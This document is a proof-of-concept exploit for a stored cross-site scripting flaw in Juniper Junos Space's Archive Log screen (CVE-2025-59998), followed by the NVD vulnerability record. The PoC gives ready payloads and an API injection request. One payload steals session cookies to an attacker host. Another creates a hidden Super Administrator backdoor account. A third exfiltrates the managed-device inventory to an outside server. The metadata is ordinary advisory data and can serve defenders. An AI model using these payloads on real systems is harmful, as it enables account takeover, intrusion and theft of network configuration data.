CVE-2025-59998

<!-- CVE-2025-59998 - Juniper Junos Space Archive Log Stored XSS PoC --> <!-- This PoC demonstrates the stored XSS vulnerability in the Archive Log screen --> <!-- Step 1: Inject malicious payload into the Archive Log via Junos Space UI or API --> <!-- The payload below will be stored in the archive log and executed when viewed --> <script> // Steal session cookie and send to attacker-controlled server var cookie = document.cookie; var img = new Image(); img.src = "http://attacker-server.com/steal?cookie=" + encodeURIComponent(cookie); </script> <!-- Alternative payload: Perform administrative actions via the victim's session --> <script> // Example: Create a new admin account fetch('/api/space/user-management/local-users', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ username: 'attacker_backdoor', password: 'P@ssw0rd123!', role: 'Super Administrator' }) }); </script> <!-- Alternative payload: Exfiltrate sensitive configuration data --> <script> fetch('/api/space/device-management/devices') .then(r => r.json()) .then(data => { fetch('http://attacker-server.com/exfil', { method: 'POST', body: JSON.stringify(data) }); }); </script> <!-- Injection vector: Submit via Archive Log input field --> <!-- POST request example to inject via API --> <!-- POST /api/space/archive-log HTTP/1.1 Host: <juniper-space-host> Content-Type: application/json { "logEntry": "<script>document.location='http://attacker.com/steal?c='+document.cookie</script>" } -->

{"cve": {"id": "CVE-2025-59998", "sourceIdentifier": "[email protected]", "published": "2025-10-09T17:16:02.633", "lastModified": "2026-01-23T20:00:38.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Juniper Networks Junos Space allows an attacker to inject script tags in the Archive Log screen that, when visited by another user, enables the attacker to execute commands with the target's permissions, including an administrator.\nThis issue affects all versions of Junos Space before 24.1R4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.1", "matchCriteriaId": "2EC090A9-634B-4AA2-916F-7548AF71FF76"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:24.1:r1:*:*:*:*:*:*", "matchCriteriaId": "0566970C-0E9B-4566-9920-C7C436A4243D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:24.1:r2:*:*:*:*:*:*", "matchCriteriaId": "A2AA399D-5A7D-45B8-B774-D69054DFA4D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:24.1:r3:*:*:*:*:*:*", "matchCriteriaId": "57CC4E1A-23AA-4B4A-8690-5EEDCBEC4BBE"}]}]}], "references": [{"url": "https://supportportal.juniper.net/JSA103140", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}